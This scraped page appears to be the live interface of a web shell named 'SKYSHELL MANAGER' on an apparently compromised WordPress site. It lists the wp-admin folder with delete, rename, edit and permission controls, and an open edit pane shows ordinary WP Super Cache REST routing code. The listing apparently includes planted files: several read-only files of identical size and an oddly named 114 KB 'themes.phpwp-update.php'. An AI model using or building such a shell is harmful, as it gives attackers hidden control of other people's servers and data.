📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: load.php
<?php require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-get-settings.php' ); require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-update-settings.php' ); require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-get-stats.php' ); require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-get-cache.php' ); require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-get-status.php' ); require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-test-cache.php' ); require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-delete-cache.php' ); require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-preload.php' ); require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-get-plugins.php' ); require_once( dirname( __FILE__ ) . '/class.wp-super-cache-rest-update-plugins.php' ); class WP_Super_Cache_Router { /** * Register the routes for the objects of the controller. * * GET /wp-super-cache/v1/settings * POST /wp-super-cache/v1/settings * GET /wp-super-cache/v1/stats * GET /wp-super-cache/v1/cache * POST /wp-super-cache/v1/cache */ public static function register_routes() { $version = '1'; $namespace = 'wp-super-cache/v' . $version; $get_settings = new WP_Super_Cache_Rest_Get_Settings(); $update_settings = new WP_Super_Cache_Rest_Update_Settings(); $get_stats = new WP_Super_Cache_Rest_Get_Stats(); $get_cache = new WP_Super_Cache_Rest_Get_Cache(); $test_cache = new WP_Super_Cache_Rest_Test_Cache(); $delete_cache = new WP_Super_Cache_Rest_Delete_Cache(); $preload_cache = new WP_Super_Cache_Rest_Preload(); $get_status = new WP_Super_Cache_Rest_Get_Status(); $get_plugins = new WP_Super_Cache_Rest_Get_Plugins(); $update_plugins = new WP_Super_Cache_Rest_Update_plugins(); register_rest_route( $namespace, '/settings', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $get_settings, 'callback' ), 'permission_callback' => __CLASS__ . '::get_item_permissions_check', 'args' => array(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $update_settings, 'callback' ), 'permission_callback' => __CLASS__ . '::update_item_permissions_check', 'args' => array(), ), ) ); register_rest_route( $namespace, '/status', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $get_status, 'callback' ), 'permission_callback' => __CLASS__ . '::get_item_permissions_check', ) ); register_rest_route( $namespace, '/stats', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $get_stats, 'callback' ), 'permission_callback' => __CLASS__ . '::get_item_permissions_check', ) ); register_rest_route( $namespace, '/cache', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $get_cache, 'callback' ), 'permission_callback' => __CLASS__ . '::get_item_permissions_check', 'args' => array(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $delete_cache, 'callback' ), 'permission_callback' => __CLASS__ . '::delete_item_permissions_check', 'args' => array(), ), ) ); register_rest_route( $namespace, '/preload', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $preload_cache, 'callback' ), 'permission_callback' => __CLASS__ . '::update_item_permissions_check', ) ); register_rest_route( $namespace, '/cache/test', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $test_cache, 'callback' ), 'permission_callback' => __CLASS__ . '::create_item_permissions_check', ) ); register_rest_route( $namespace, '/plugins', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $get_plugins, 'callback' ), 'permission_callback' => __CLASS__ . '::get_item_permissions_check', 'args' => array(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $update_plugins, 'callback' ), 'permission_callback' => __CLASS__ . '::update_item_permissions_check', 'args' => array(), ), ) ); } /** * Check if a given request has access to get items * * @param WP_REST_Request $request Full data about the request. * @return WP_Error|bool */ public static function get_items_permissions_check( $request ) { return wpsupercache_site_admin(); } /** * Check if a given request has access to get a specific item * * @param WP_REST_Request $request Full data about the request. * @return WP_Error|bool */ public static function get_item_permissions_check( $request ) { return self::get_items_permissions_check( $request ); } /** * Check if a given request has access to create items * * @param WP_REST_Request $request Full data about the request. * @return WP_Error|bool */ public static function create_item_permissions_check( $request ) { return self::get_items_permissions_check( $request ); } /** * Check if a given request has access to update a specific item * * @param WP_REST_Request $request Full data about the request. * @return WP_Error|bool */ public static function update_item_permissions_check( $request ) { return self::create_item_permissions_check( $request ); } /** * Check if a given request has access to update a specific item * * @param WP_REST_Request $request Full data about the request. * @return WP_Error|bool */ public static function delete_item_permissions_check( $request ) { return self::update_item_permissions_check( $request ); } } function wpsc_load_rest_api() { $wpsupercache_route = new WP_Super_Cache_Router; $wpsupercache_route->register_routes(); }; add_action( 'rest_api_init', 'wpsc_load_rest_api' );
Save